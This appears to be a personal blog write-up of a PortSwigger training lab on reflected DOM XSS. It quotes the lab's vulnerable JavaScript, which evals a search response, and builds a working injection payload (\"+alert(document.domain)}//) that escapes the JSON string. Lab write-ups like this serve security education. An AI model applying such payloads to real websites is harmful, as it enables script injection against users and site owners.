Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Reflected DOM XSS | Dec 30, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected DOM XSS! Without further ado, let’s dive in.

Background

This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

To solve this lab, create an injection that calls the alert() function.

Exploitation

Home page:

In here, we can see there is a search box.

Let’s search something:

As you can see, our input is reflected to the web page.

View source page:

<script src='resources/js/searchResults.js'></script>
<script>search('search-results')</script>
<section class="blog-header">
</section>
<section class=search>
    <form action=/ method=GET>
        <input type=text placeholder='Search the blog...' name=search>
        <button type=submit class=button>Search</button>
    </form>
</section>

/resources/js/searchResults.js:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "View post";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Back to Blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}

I also notice that there is a JSON response:

Let’s send that the Burp Repeater, and review searchResults.js:

Although searchResults.js might look scary, we can just look all the sinks (Dangerous function), and trace them down.

In line 5, the response is used an eval() function, which is a sink:

eval('var searchResultsObj = ' + this.responseText);

Which means we can inject anything we want!

Now, our ultimate goal is to let the JavaScript eval() our alert() function.

However, the server-side application did escaped our ":

As you can see, the " is being escaped.

Luckly, after poking around, I found that the \ is not escaped:

Armed with above information, we can craft an XSS payload:

\"+alert(document.domain)}//

Result:

{"results":[],"searchTerm":"\\" alert(document.domain)}//"}

In the first \, we want to escape the \ that the server-side application added to ", thus it’ll close the string (""). Hence, it’ll become: eval({"results":[],"searchTerm":"");.

Then, the + is to keep the string format normal. Hence, it’ll become: eval({"results":[],"searchTerm":""+alert(document.domain));

Finally, we wait the JSON object finish. To do so, we first close the JSON object via }. Then, commented out "} via //.

Hence, our final payload will be:

eval({"results":[],"searchTerm":""+alert(document.domain)});

Let’s use our crafted payload to execute alert() function!

Nice!

What we’ve learned:

  1. Reflected DOM XSS